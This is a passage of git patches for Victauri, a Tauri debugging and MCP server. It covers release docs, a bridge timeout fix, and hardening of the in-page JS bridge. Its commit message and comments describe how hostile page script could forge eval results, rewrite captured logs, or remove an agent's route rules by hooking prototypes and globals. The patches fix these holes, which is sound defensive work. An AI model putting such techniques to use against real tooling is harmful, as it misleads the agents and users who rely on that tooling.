E2E) concluded **success** for the exact release - commit. A tag on a non-CI-green commit is refused, loudly, before the publish step. + tagged commit is **on `main`** and the **full CI push run on `main`** (all platforms + + real-app E2E) concluded **success** for that exact commit. (A pull-request run tested the + merge of the commit into `main`, not the commit itself, so it does not count.) A tag on a + non-CI-green commit is refused, loudly, before the publish step. +3. **Semver report (local)** — `cargo semver-checks check-release --workspace` before bumping. + CI runs the same check but only as information; read its output rather than its colour. +4. **Publish runs verified-then-tokenless** — `release.yml` first runs + `cargo publish --workspace --dry-run` with no token present, then uploads each crate with + `--no-verify` in a step that alone holds the token, so no build script ever runs next to it. **Recommended flow:** `preflight` → push to `main` → **wait for CI green on all platforms** → bump + tag. (Pushing commit + tag together still works — the gate waits for CI to finish, up @@ -46,6 +55,12 @@ git tag v0.8.0 && git push origin main --tags `release.yml`: test gate → cross-platform binaries (cli/watchdog) → publish the crates to crates.io in dependency order → GitHub Release. +Then list the release in the **MCP Registry** (`server.json`, name +`io.github.4DA-Systems/victauri` — the namespace is the GitHub login and is matched +case-sensitively): `mcp-publisher login github && mcp-publisher publish`. The registry reads the +`mcp-name:` line from the README of the *published* `victauri-cli` version, so it must be right +before the crate is uploaded. + ## VS Code extension — `vscode-v*` (decoupled) ```bash diff --git a/crates/victauri-cli/README.md b/crates/victauri-cli/README.md index 05dcfcfd..2dabf148 100644 --- a/crates/victauri-cli/README.md +++ b/crates/victauri-cli/README.md @@ -94,7 +94,7 @@ victauri watch --filter greet # Only run matching tests Full API docs: [docs.rs/victauri-cli](https://docs.rs/victauri-cli) -MCP Registry name: `mcp-name: io.github.4da-systems/victauri` +MCP Registry name: `mcp-name: io.github.4DA-Systems/victauri` ## License diff --git a/crates/victauri-core/README.md b/crates/victauri-core/README.md index e3481c52..683a59d5 100644 --- a/crates/victauri-core/README.md +++ b/crates/victauri-core/README.md @@ -30,17 +30,8 @@ assert_eq!(log.capacity(), 1000); // Command registry with search let registry = CommandRegistry::new(); -registry.register(CommandInfo { - name: "greet".to_string(), - plugin: None, - description: Some("Greet the user".to_string()), - args: vec![], - return_type: None, - is_async: false, - intent: None, - category: None, - examples: vec![], -}); +// `CommandInfo` is `#[non_exhaustive]`: build it with the constructor and builders. +registry.register(CommandInfo::new("greet").with_description("Greet the user")); let results = registry.search("greet"); assert_eq!(results.len(), 1); ``` diff --git a/crates/victauri-core/src/lib.rs b/crates/victauri-core/src/lib.rs index 52872e25..cbdfb205 100644 --- a/crates/victauri-core/src/lib.rs +++ b/crates/victauri-core/src/lib.rs @@ -77,3 +77,10 @@ pub fn acquire_write<'a, T>( poisoned.into_inner() }) } + +/// Compiles the README's examples as doctests, so the crates.io landing page +/// cannot drift from the API again (its `CommandInfo` struct literal outlived the +/// 0.9 `#[non_exhaustive]` change). +#[cfg(doctest)] +#[doc = include_str!("../README.md")] +pub struct ReadmeDoctests; diff --git a/crates/victauri-plugin/src/mcp/authz.rs b/crates/victauri-plugin/src/mcp/authz.rs index a2551dba..1bd114fa 100644 --- a/crates/victauri-plugin/src/mcp/authz.rs +++ b/crates/victauri-plugin/src/mcp/authz.rs @@ -492,7 +492,7 @@ mod tests { ("logs", "events", "logs.events", true, true), ("logs", "slow_ipc", "logs.slow_ipc", true, true), ("logs", "clear", "logs.clear", false, true), - // introspect — FullControl-only (all 14 actions) + // introspect — FullControl-only (all 15 actions) ( "introspect", "command_timings", diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index d71a3901..e5758aef 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -51,7 +51,15 @@ fn jsdom_available() -> bool { fn run_tests(def: &TestDef) -> Option> { if !jsdom_available() { - eprintln!("SKIP: jsdom not installed (run `npm install` in tests/bridge_tests/)"); + // A skip is a silent pass, so it is only allowed where nobody relies on the + // result: CI (and the release preflight) must actually run these tests. + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed, so the JS bridge tests cannot run: \ + `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed (run `npm ci` in tests/bridge_tests/)"); return None; } diff --git a/docs/src/introduction.md b/docs/src/introduction.md index 99acd5ba..d97872b7 100644 --- a/docs/src/introduction.md +++ b/docs/src/introduction.md @@ -44,7 +44,7 @@ All of this is exposed two ways from the same server: a plain **REST/HTTP API** ## Project Structure -Victauri is a Rust workspace with 7 crates: +Victauri is a Rust workspace with 6 crates: ``` victauri/ @@ -63,6 +63,6 @@ victauri/ ## Current Status -All 7 crates are published to crates.io. In a one-time deep evaluation (May 2026) against 5 real-world open-source Tauri apps (Kanri, En Croissant, Surrealist, Duckling, Lettura), 867 of 895 checks passed (96.9%) with zero Victauri bugs and zero changes required to the apps — the remaining failures were test-script issues or correct actionability enforcement. A reproducible per-release compatibility harness (`scripts/compat`) now re-verifies against these apps automatically; it currently confirms Kanri at 15/15 on the latest release, while the other four have drifted upstream and don't yet build in the harness (re-pin pending). Supports Tauri 2.0+ with rmcp 3.1 (MCP protocol `2026-07-28`, backward compatible down to `2024-11-05`). +All 6 crates are published to crates.io. In a one-time deep evaluation (May 2026) against 5 real-world open-source Tauri apps (Kanri, En Croissant, Surrealist, Duckling, Lettura), 867 of 895 checks passed (96.9%) with zero Victauri bugs and zero changes required to the apps — the remaining failures were test-script issues or correct actionability enforcement. A reproducible per-release compatibility harness (`scripts/compat`) now re-verifies against these apps automatically; three of those apps (Kanri, En Croissant, Lettura) are pinned in it and pass its 15-check battery; the other two are not in the harness (see `scripts/compat/README.md` for why). Supports Tauri 2.0+ with rmcp 3.1 (MCP protocol `2026-07-28`, backward compatible down to `2024-11-05`). Victauri is open source (Apache-2.0) and built by [4DA Systems](https://4da.ai), which uses it to test its own Tauri app. **Adopters and contributors are very welcome** — see [Contributing](https://github.com/4DA-Systems/victauri/blob/main/CONTRIBUTING.md), and if you ship a Tauri app we'd love to hear how it goes. diff --git a/docs/src/testing.md b/docs/src/testing.md index 804bf51e..096c6aa8 100644 --- a/docs/src/testing.md +++ b/docs/src/testing.md @@ -438,11 +438,13 @@ use victauri_test::visual::{VisualOptions, ThresholdPreset, MaskRegion}; let opts = VisualOptions { snapshot_dir: "tests/snapshots".into(), - ..VisualOptions::from_preset(ThresholdPreset::Standard) -}; + ..VisualOptions::default() +} +.with_preset(ThresholdPreset::Standard); +// Errors with `TestError::VisualRegression` when the diff exceeds the threshold. let diff = client.screenshot_visual("dashboard", &opts).await?; -assert!(diff.is_match, "visual regression: {:.2}% pixels differ", diff.diff_percentage); +println!("{:.2}% of pixels match", diff.match_percentage); ``` On first run, the screenshot is saved as the baseline. Subsequent runs compare and generate a red-overlay diff image when mismatched. @@ -463,11 +465,10 @@ Exclude dynamic content from comparison: ```rust let opts = VisualOptions { snapshot_dir: "tests/snapshots".into(), - masks: vec![ - MaskRegion::new(0, 0, 200, 50), // timestamp header - ], - ..VisualOptions::from_preset(ThresholdPreset::Standard) -}; + ..VisualOptions::default() +} +.with_preset(ThresholdPreset::Standard) +.with_mask(MaskRegion::new(0, 0, 200, 50)); // timestamp header ``` ### Save Screenshots to Files diff --git a/editors/vscode/README.md b/editors/vscode/README.md index 915aeb1e..446f7f64 100644 --- a/editors/vscode/README.md +++ b/editors/vscode/README.md @@ -94,7 +94,7 @@ The plugin is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op in ## Compatibility -Tested against 5 real-world open-source Tauri apps (867/895 tests passing = 96.9%): +In a one-time evaluation (May 2026, on an older Victauri release) against 5 real-world open-source Tauri apps, 867/895 checks passed (96.9%). Results of that evaluation (the per-release harness in `scripts/compat` re-verifies Kanri, En Croissant and Lettura on each release): | App | Framework | Result | |---|---|---| diff --git a/scripts/preflight.ps1 b/scripts/preflight.ps1 index 11da511b..8bb4ee5b 100644 --- a/scripts/preflight.ps1 +++ b/scripts/preflight.ps1 @@ -32,7 +32,9 @@ if (Get-Command bash -ErrorAction SilentlyContinue) { Write-Host "`n=== doc-count lint ===" -ForegroundColor Cyan Write-Host "skipped: bash not found (enforced by CI)" -ForegroundColor Yellow } -Run "workspace tests" { cargo test --workspace --features sqlite } +Run "bridge test deps" { npm ci --prefix crates/victauri-plugin/tests/bridge_tests --no-audit --no-fund } +# VICTAURI_REQUIRE_JSDOM turns a missing jsdom into a failure instead of a silent skip. +Run "workspace tests" { $env:VICTAURI_REQUIRE_JSDOM = '1'; try { cargo test --workspace --features sqlite } finally { Remove-Item Env:VICTAURI_REQUIRE_JSDOM } } Write-Host "" if ($failed.Count -gt 0) { diff --git a/scripts/preflight.sh b/scripts/preflight.sh index bd22de23..826fbada 100644 --- a/scripts/preflight.sh +++ b/scripts/preflight.sh @@ -16,7 +16,9 @@ run() { run "cargo fmt --check" cargo fmt --all -- --check run "clippy" cargo clippy --workspace --all-targets --features sqlite -- -D warnings run "doc-count lint" bash scripts/check-doc-counts.sh -run "workspace tests" cargo test --workspace --features sqlite +run "bridge test deps" npm ci --prefix crates/victauri-plugin/tests/bridge_tests --no-audit --no-fund +# VICTAURI_REQUIRE_JSDOM turns a missing jsdom into a failure instead of a silent skip. +run "workspace tests" env VICTAURI_REQUIRE_JSDOM=1 cargo test --workspace --features sqlite echo if [ "${#failed[@]}" -gt 0 ]; then diff --git a/server.json b/server.json index cd7f6f32..f8a66bb7 100644 --- a/server.json +++ b/server.json @@ -1,6 +1,6 @@ { "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.4da-systems/victauri", + "name": "io.github.4DA-Systems/victauri", "title": "Victauri", "description": "Full-stack introspection and control for Tauri apps: DOM, IPC with bodies, Rust backend state, and SQLite through one in-process server. Debug builds only.", "version": "0.9.0", From c4bab9a61fa885e21b2f062021e514da0304040a Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:01:22 +1000 Subject: [PATCH 030/167] fix(cli): the stdio bridge's HTTP timeout outlasts a tool call's own timeout_ms The bridge forwarded every message with a fixed 120s timeout, but the server accepts invoke_command `timeout_ms` up to 300s and wait_for up to 120s (plus its setup). Through `victauri bridge` such calls failed at 120s ("no response arrived") while the command kept running. Each request now gets its own timeout: max(120s, min(timeout_ms, 300s) + 40s headroom for the server's pre-wait probe and main-thread round trips), and the "no response" message names the timeout that actually applied. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-cli/src/bridge.rs | 75 +++++++++++++++++++++++++++---- 1 file changed, 67 insertions(+), 8 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index fbddd3d7..aca3de77 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -400,15 +400,37 @@ fn may_replay(msg: &Value, err: &anyhow::Error) -> bool { .is_some_and(reqwest::Error::is_connect) } +/// Whole-request HTTP timeout for a forwarded message that sets no longer wait of its own. +const DEFAULT_REQUEST_TIMEOUT: Duration = Duration::from_secs(120); +/// Headroom on top of a tool call's own `timeout_ms`: before its wait starts the server may +/// wait for the bridge, probe it (up to 2s) and make main-thread round trips (up to 10s each). +const TOOL_TIMEOUT_HEADROOM: Duration = Duration::from_secs(40); +/// The server's ceiling for any per-call `timeout_ms` (`invoke_command`; `wait_for` caps lower). +const MAX_TOOL_TIMEOUT_MS: u64 = 300_000; + +/// HTTP timeout for forwarding `msg`. A tool call that blocks server-side for a caller-chosen +/// `timeout_ms` (`invoke_command` up to 300s, `wait_for` up to 120s) must outlast that wait; +/// with the fixed 120s timeout such calls failed at the bridge while the command kept running. +fn request_timeout_for(msg: &Value) -> Duration { + msg.pointer("/params/arguments/timeout_ms") + .and_then(Value::as_u64) + .map_or(DEFAULT_REQUEST_TIMEOUT, |ms| { + DEFAULT_REQUEST_TIMEOUT + .max(Duration::from_millis(ms.min(MAX_TOOL_TIMEOUT_MS)) + TOOL_TIMEOUT_HEADROOM) + }) +} + /// Error text for a tool call that was (probably) delivered but got no response. -fn undelivered_response_message(err: &anyhow::Error, app_still_up: bool) -> String { +fn undelivered_response_message(msg: &Value, err: &anyhow::Error, app_still_up: bool) -> String { let timed_out = err .downcast_ref::() .is_some_and(reqwest::Error::is_timeout); let what = if timed_out { - "the tool call was sent to the app but no response arrived before the bridge's \ - 120s timeout" - .to_string() + format!( + "the tool call was sent to the app but no response arrived before the bridge's \ + {}s timeout", + request_timeout_for(msg).as_secs() + ) } else if app_still_up { "the tool call was sent to the app but the connection closed before a response \ arrived (the app is still running — it may have restarted or reloaded while handling \ @@ -674,7 +696,7 @@ async fn forward_with_retries( return ForwardResult::Payloads(vec![error_for_request( msg, -32000, - &undelivered_response_message(&e, still_up), + &undelivered_response_message(msg, &e, still_up), )]); } if attempt + 1 < MAX_RETRIES { @@ -706,8 +728,9 @@ async fn forward_with_retries( } fn build_client() -> Result { + // The default; `post_message` sets each request's own (see `request_timeout_for`). reqwest::Client::builder() - .timeout(std::time::Duration::from_secs(120)) + .timeout(DEFAULT_REQUEST_TIMEOUT) .connect_timeout(std::time::Duration::from_secs(10)) .build() .map_err(Into::into) @@ -739,6 +762,7 @@ async fn post_message( let url = format!("http://127.0.0.1:{port}/mcp"); let mut req = http .post(&url) + .timeout(request_timeout_for(msg)) .header("Content-Type", "application/json") .header("Accept", "application/json, text/event-stream"); if let Some(t) = token { @@ -1400,17 +1424,52 @@ mod tests { #[test] fn undelivered_message_says_the_call_likely_ran_when_the_app_exited() { let err = anyhow::anyhow!("connection reset"); - let gone = undelivered_response_message(&err, false); + let gone = undelivered_response_message(&call("tools/call"), &err, false); assert!(gone.contains("exited before responding"), "{gone}"); assert!(gone.contains("NOT retried")); assert!( !gone.contains("not reachable"), "must not claim the app was never reached" ); - let up = undelivered_response_message(&err, true); + let up = undelivered_response_message(&call("tools/call"), &err, true); assert!(up.contains("still running"), "{up}"); } + #[test] + fn a_tool_call_timeout_outlasts_the_servers_own_wait() { + let tool = |args: Value| { + json!({"jsonrpc": "2.0", "id": 1, "method": "tools/call", + "params": {"name": "invoke_command", "arguments": args}}) + }; + assert_eq!( + request_timeout_for(&call("tools/list")), + DEFAULT_REQUEST_TIMEOUT + ); + assert_eq!( + request_timeout_for(&tool(json!({}))), + DEFAULT_REQUEST_TIMEOUT + ); + assert_eq!( + request_timeout_for(&tool(json!({"timeout_ms": 5_000}))), + DEFAULT_REQUEST_TIMEOUT + ); + // invoke_command at its 300s ceiling, and wait_for at its 120s one, finish at the + // server before the bridge gives up on them. + assert_eq!( + request_timeout_for(&tool(json!({"timeout_ms": 300_000}))), + Duration::from_secs(340) + ); + assert_eq!( + request_timeout_for(&tool(json!({"timeout_ms": 120_000}))), + Duration::from_secs(160) + ); + // Values past the server's ceiling are clamped the way the server clamps them. + assert_eq!( + request_timeout_for(&tool(json!({"timeout_ms": u64::MAX}))), + Duration::from_secs(340) + ); + } + #[test] fn alive_pids_enumerates_and_includes_self() { // The batched liveness snapshot (one OS call) keeps discovery fast even with many From 9c6ad5508bdf9a64448f8fc80c6f8c5fa09bca39 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:04:58 +1000 Subject: [PATCH 031/167] fix(bridge): snapshot, logs and eval results hold up against hostile values and page script Audit round 2 (0.9), JS-bridge findings: - V-1: `.value` is read through safeValue() (string, number/boolean as a string, else null; a throwing getter or cyclic object is null). `
  • `, ``, `` and object-valued web components used to fail the whole dom_snapshot / find_elements call. - V-2: compact lines follow one grammar: a role that is not a plain lowercase word is printed as `role=` after the tag; an attribute value that is not one plain token is JSON-quoted (`@"note type=password"`); value= uses the captured stringify; U+2028/U+2029/U+0085 are escaped. Markup can no longer forge a line or a field. - V-4: every truncation site uses truncText(), which never ends on a high surrogate (and drops a leading lone low surrogate); the logs trimField does the same. - V-7: eval state lives in a null-prototype table behind own-property accessors (no Map.prototype lookup), ids are coerced without window.String, the watchdog uses a captured setTimeout, and serialization ignores a toJSON inherited from Object.prototype / Array.prototype (class and Date toJSON still apply). - V-8: log reads deep-copy nested args / bodies / headers. - V-9: clear*Log, clearRoute(s) and setDialogAutoResponse moved off the page-visible API behind `_agent(key)`; the per-process key is embedded only in the init script closure and in Victauri's own injected scripts. Scrub/sweep state is closure-held. - V-11: a persisted (bfcache) pagehide keeps capture; pageshow re-installs it. - V-14: recorded selectors are valid CSS: `#` + CSS.escape(id), CSS-string escaping inside `[attr="..."]` and `:has-text("...")`, CSS.escape'd class names. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/js_bridge.rs | 376 +++++++++--- crates/victauri-plugin/src/mcp/mod.rs | 70 ++- crates/victauri-plugin/tests/bridge_tests.rs | 568 +++++++++++++++++- .../tests/bridge_tests/run_tests.js | 12 + 4 files changed, 892 insertions(+), 134 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index dc89e150..233d6a2e 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -54,7 +54,27 @@ pub fn init_script(caps: &BridgeCapacities) -> String { // release — it silently drifted (stuck at 0.7.8 through 0.7.10), so `get_diagnostics` // reported a stale `bridge_version` and the startup self-check logged a false // "Bridge version mismatch" on every launch. Deriving it here makes drift impossible. - + &INIT_SCRIPT_BODY.replace("__VICTAURI_BRIDGE_VERSION__", env!("CARGO_PKG_VERSION")) + + &INIT_SCRIPT_BODY + .replace("__VICTAURI_BRIDGE_VERSION__", env!("CARGO_PKG_VERSION")) + .replace("__VICTAURI_AGENT_KEY__", agent_key()) +} + +/// Per-process secret that unlocks the bridge's agent-only operations (clearing logs and route +/// rules, dialog auto-responses). It is embedded in the init script's closure and in the +/// scripts Victauri itself injects, never in anything page script can read, so a page cannot +/// silently remove the agent's block/mock rules or erase captured evidence. +#[doc(hidden)] +#[must_use] +pub fn agent_key() -> &'static str { + static KEY: std::sync::LazyLock = + std::sync::LazyLock::new(|| uuid::Uuid::new_v4().simple().to_string()); + KEY.as_str() +} + +/// JS expression evaluating to the bridge's agent-only operations object (or `undefined` when +/// the bridge is not loaded). Only valid inside scripts Victauri injects. +pub(crate) fn agent_ops_js() -> String { + format!("window.__VICTAURI__?._agent(\"{}\")", agent_key()) } /// The body of the init script (after capacity variable declarations). @@ -284,6 +304,64 @@ const INIT_SCRIPT_BODY: &str = r#" }); } + // ── Built-ins captured at init ────────────────────────────────────────── + // + // Page script runs after this init script and can replace any global or prototype method + // (`Map.prototype.set`, `window.String`, `setTimeout`, `JSON.stringify`, …). Everything the + // bridge's security-relevant paths call is captured here, and called through bound copies + // so no `.call` / prototype lookup happens at call time. + var NATIVE_STRINGIFY = JSON.stringify; + var PRISTINE_PARSE = JSON.parse; + var OBJ_CREATE = Object.create; + var GET_PROTO = Object.getPrototypeOf; + var OBJECT_PROTO = Object.prototype; + var ARRAY_PROTO = Array.prototype; + var hasOwn = Function.prototype.call.bind(Object.prototype.hasOwnProperty); + var SET_TIMEOUT = window.setTimeout.bind(window); + var AGENT_KEY = '__VICTAURI_AGENT_KEY__'; + + // Page script can plant `toJSON` on Object.prototype / Array.prototype, which JSON.stringify + // consults on EVERY object it serializes: that forged eval results (including the + // `__victauri_type` envelope) and rewrote every log the agent read. A `toJSON` inherited + // from those two universal prototypes is ignored; one an app defines on its own class + // (or a built-in such as Date) is honoured as usual. + function hasUniversalToJSON(o) { + for (var p = o; p !== null && p !== undefined; p = GET_PROTO(p)) { + if (hasOwn(p, 'toJSON')) return p === OBJECT_PROTO || p === ARRAY_PROTO; + } + return false; + } + function neutralReplacer(key, value) { + // `this[key]` is the raw value before toJSON; JSON.stringify never re-applies toJSON + // to what a replacer returns, so returning it serializes the object's own fields. + var raw = this[key]; + if (raw !== value && raw !== null && typeof raw === 'object' && hasUniversalToJSON(raw)) return raw; + return value; + } + function PRISTINE_STRINGIFY(v) { return NATIVE_STRINGIFY(v, neutralReplacer); } + + // A deep, detached copy of a JSON-shaped value (IPC args/results): the logs hand out copies + // so page script cannot rewrite what was captured through a returned reference. + function cloneJson(v) { + if (v === null || typeof v !== 'object') return v; + try { var s = PRISTINE_STRINGIFY(v); return s === undefined ? null : PRISTINE_PARSE(s); } + catch (e) { return null; } + } + + // Truncate to at most `n` UTF-16 code units without splitting a surrogate pair: a lone + // surrogate serializes as an escape that serde_json rejects, failing the whole tool call. + function truncText(s, n) { + s = '' + s; + var start = 0; + var c0 = s.charCodeAt(0); + if (c0 >= 0xDC00 && c0 <= 0xDFFF) start = 1; // a leading lone low surrogate + if (s.length - start <= n) return start ? s.substring(start) : s; + var end = start + n; + var last = s.charCodeAt(end - 1); + if (last >= 0xD800 && last <= 0xDBFF) end--; // would end on a high surrogate + return s.substring(start, end); + } + // ── Eval bookkeeping (closure-private) ────────────────────────────────── // // The per-eval state used to live on a page-visible global (`window.__VIC_EVAL__`), so page @@ -291,8 +369,18 @@ const INIT_SCRIPT_BODY: &str = r#" // or suppress every result. It now lives in this closure, reachable only through the frozen, // non-configurable `__VICTAURI__` methods below, which never reveal an id. Serialization uses // `JSON.stringify` captured here, at init, before any page script can replace it. - var PRISTINE_STRINGIFY = JSON.stringify; - var evalState = new Map(); + // The id -> state table is a null-prototype object behind own-property accessors, not a + // `Map`: `Map.prototype.set` is resolved at call time, so page script hooking it learned + // every pending eval id and could settle it with a forged result first. + var evalState = (function() { + var table = OBJ_CREATE(null); + return { + has: function(k) { return hasOwn(table, k); }, + get: function(k) { return hasOwn(table, k) ? table[k] : undefined; }, + set: function(k, v) { table[k] = v; }, + delete: function(k) { delete table[k]; }, + }; + })(); function evalCallback(id, body) { try { return window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { id: id, result: body }); @@ -303,12 +391,23 @@ const INIT_SCRIPT_BODY: &str = r#" // (as the getters used to) let page script push forged entries (a fake successful IPC call // that `recording replay` would then invoke), splice out its own traffic, or plant values // that break every later read. Freezing the bridge object does not protect its arrays. + // The copies are DEEP: an entry's nested objects (IPC request args, response bodies, route + // headers) are cloned too, else page script rewrote a logged call's arguments or result + // through the returned reference. var ASSIGN = Object.assign; function copyEntries(arr) { var out = new Array(arr.length); for (var i = 0; i < arr.length; i++) { var e = arr[i]; - out[i] = (e && typeof e === 'object') ? ASSIGN({}, e) : e; + if (e && typeof e === 'object') { + var c = ASSIGN({}, e); + for (var k in c) { + if (hasOwn(c, k) && c[k] !== null && typeof c[k] === 'object') c[k] = cloneJson(c[k]); + } + out[i] = c; + } else { + out[i] = e; + } } return out; } @@ -324,11 +423,11 @@ const INIT_SCRIPT_BODY: &str = r#" // (almost always a syntax error, which fails the whole script), report that instead of // letting the caller wait for its full timeout. _evalArm: function(id, ms) { - id = String(id); + id = '' + id; // not String(id): page script can replace window.String if (evalState.has(id)) return; var s = { started: false, done: false }; evalState.set(id, s); - setTimeout(function() { + SET_TIMEOUT(function() { if (s.started || s.done) return; s.done = true; evalState.delete(id); @@ -336,12 +435,12 @@ const INIT_SCRIPT_BODY: &str = r#" }, ms); }, _evalBegin: function(id) { - var s = evalState.get(String(id)); + var s = evalState.get('' + id); if (s) s.started = true; }, // Deliver an eval's outcome exactly once (a later settle for the same id is ignored). _evalSettle: function(id, payload) { - id = String(id); + id = '' + id; var s = evalState.get(id); if (s) { if (s.done) return null; @@ -485,11 +584,11 @@ const INIT_SCRIPT_BODY: &str = r#" tag: node.tagName.toLowerCase(), role: role, name: node.getAttribute('aria-label') || node.getAttribute('title') || null, - text: (node.textContent || '').trim().substring(0, 100), + text: truncText((node.textContent || '').trim(), 100), bounds: { x: Math.round(rect.x), y: Math.round(rect.y), width: Math.round(rect.width), height: Math.round(rect.height) }, visible: vis, enabled: !node.disabled, - value: (node.tagName === 'INPUT' && (node.getAttribute('type') || '').toLowerCase() === 'password') ? '[REDACTED]' : (node.value || null) + value: isPasswordInput(node) ? '[REDACTED]' : safeValue(node) }; } @@ -717,7 +816,7 @@ const INIT_SCRIPT_BODY: &str = r#" } else if (n.response_body != null) { // Command-level error: the body carries the error message. errText = typeof n.response_body === 'string' - ? n.response_body : JSON.stringify(n.response_body); + ? n.response_body : PRISTINE_STRINGIFY(n.response_body); } else { errText = 'command error'; } @@ -725,12 +824,13 @@ const INIT_SCRIPT_BODY: &str = r#" entries.push({ id: n.id, command: command, - args: n.request_args || {}, + args: cloneJson(n.request_args) || {}, timestamp: n.timestamp, status: st, duration_ms: n.duration_ms, // Nullish, not falsy: a command returning 0 / false / '' is a real result. - result: (n.response_body === undefined || n.response_body === null) ? null : n.response_body, + // Deep copies: the page must not rewrite a logged call through this entry. + result: (n.response_body === undefined || n.response_body === null) ? null : cloneJson(n.response_body), error: errText, }); } @@ -738,12 +838,6 @@ const INIT_SCRIPT_BODY: &str = r#" return entries; }, - clearIpcLog: function() { - for (var i = networkLog.length - 1; i >= 0; i--) { - if (isIpcUrl(networkLog[i].url)) networkLog.splice(i, 1); - } - }, - waitForIpcComplete: function(timeoutMs) { var log = window.__VICTAURI__.getIpcLog(); if (log.length > 0) { @@ -772,20 +866,12 @@ const INIT_SCRIPT_BODY: &str = r#" return copyEntries(since ? consoleLogs.filter(function(l) { return l.timestamp >= since; }) : consoleLogs); }, - clearConsoleLogs: function() { - consoleLogs.length = 0; - }, - // ── Mutations ──────────────────────────────────────────────────────── getMutationLog: function(since) { return copyEntries(since ? mutationLog.filter(function(m) { return m.timestamp >= since; }) : mutationLog); }, - clearMutationLog: function() { - mutationLog.length = 0; - }, - // ── Network ────────────────────────────────────────────────────────── getNetworkLog: function(filter, limit) { @@ -797,10 +883,6 @@ const INIT_SCRIPT_BODY: &str = r#" return copyEntries(log); }, - clearNetworkLog: function() { - networkLog.length = 0; - }, - // ── Network routing (interception / mock / block / delay) ────────────── // Add a route rule. `rule` is an object: { pattern, match_type, method, // action ('block'|'fulfill'|'delay'), status, status_text, headers, @@ -833,22 +915,18 @@ const INIT_SCRIPT_BODY: &str = r#" getRouteRules: function() { return copyEntries(routeRules); }, - clearRoute: function(id) { - var before = routeRules.length; - routeRules = routeRules.filter(function(r) { return r.id !== id; }); - return { ok: true, removed: before - routeRules.length }; - }, - - clearRoutes: function() { - var n = routeRules.length; - routeRules = []; - return { ok: true, removed: n }; - }, - getRouteMatches: function(limit) { return copyEntries(limit ? routeMatchLog.slice(-limit) : routeMatchLog); }, + // Agent-only operations (clear logs / route rules, dialog auto-responses) are NOT on + // this page-visible object: page script could otherwise silently remove the agent's + // block/mock rules, erase captured evidence, or flip dialog auto-answers. They are + // handed out only for the per-process key Victauri embeds in its own injected scripts. + _agent: function(key) { + return key === AGENT_KEY ? AGENT_OPS : null; + }, + // ── Storage ────────────────────────────────────────────────────────── getLocalStorage: function(key) { @@ -929,15 +1007,6 @@ const INIT_SCRIPT_BODY: &str = r#" return copyEntries(dialogLog); }, - clearDialogLog: function() { - dialogLog.length = 0; - }, - - setDialogAutoResponse: function(type, action, text) { - dialogAutoResponses[type] = { action: action, text: text }; - return { ok: true }; - }, - // ── Combined Event Stream ──────────────────────────────────────────── // `since` is INCLUSIVE by default (events with timestamp >= since), which is @@ -1535,7 +1604,7 @@ const INIT_SCRIPT_BODY: &str = r#" function describe(el) { if (!el) return null; var cls = (el.className && el.className.toString) - ? el.className.toString().substring(0, 60) : null; + ? truncText(el.className.toString(), 60) : null; return { tag: el.tagName ? el.tagName.toLowerCase() : null, id: el.id || null, cls: cls, rect: rect(el) }; } @@ -1611,7 +1680,7 @@ const INIT_SCRIPT_BODY: &str = r#" var ends = anims.map(function(a) { return a.effect.getComputedTiming().endTime; }); var duration = Math.max.apply(null, ends); anims.forEach(function(a) { try { a.pause(); } catch (e) {} }); - window.__VICTAURI_SCRUB__ = { el: el, anims: anims, ends: ends, duration: duration }; + scrubState = { el: el, anims: anims, ends: ends, duration: duration }; return Promise.all(anims.map(function(a) { return a.ready.catch(function(){}); })) .then(function() { var b = el.getBoundingClientRect(); @@ -1623,7 +1692,7 @@ const INIT_SCRIPT_BODY: &str = r#" }, scrubSeek: function(progress) { - var S = window.__VICTAURI_SCRUB__; + var S = scrubState; if (!S) return Promise.resolve({ error: 'not prepared — scrubPrepare first' }); var t = progress * S.duration; for (var i = 0; i < S.anims.length; i++) { @@ -1657,10 +1726,10 @@ const INIT_SCRIPT_BODY: &str = r#" }, scrubRestore: function(resume) { - var S = window.__VICTAURI_SCRUB__; + var S = scrubState; if (!S) return { restored: false }; S.anims.forEach(function(a) { try { if (resume) a.play(); } catch (e) {} }); - window.__VICTAURI_SCRUB__ = null; + scrubState = null; return { restored: true, resumed: !!resume }; }, @@ -1674,7 +1743,7 @@ const INIT_SCRIPT_BODY: &str = r#" // for SWEEP_IDLE_STOP_MS, so an armed-and-forgotten recorder does not // run getComputedStyle every frame for the life of the page. var SWEEP_IDLE_STOP_MS = 60000; - var R = (window.__VICTAURI_SWEEP__ = { sel: selector || null, + var R = (sweepState = { sel: selector || null, sessions: [], cur: null, touched: performance.now(), stopped: false, idle_stop_ms: SWEEP_IDLE_STOP_MS }); var matrix = function(el) { @@ -1698,7 +1767,7 @@ const INIT_SCRIPT_BODY: &str = r#" }; var tick = function() { // Stop if a newer recorder superseded this one. - if (window.__VICTAURI_SWEEP__ !== R) return; + if (sweepState !== R) return; if (performance.now() - R.touched > SWEEP_IDLE_STOP_MS) { if (R.cur) { R.sessions.push(R.cur); @@ -1740,7 +1809,7 @@ const INIT_SCRIPT_BODY: &str = r#" }, readSweep: function(clear) { - var R = 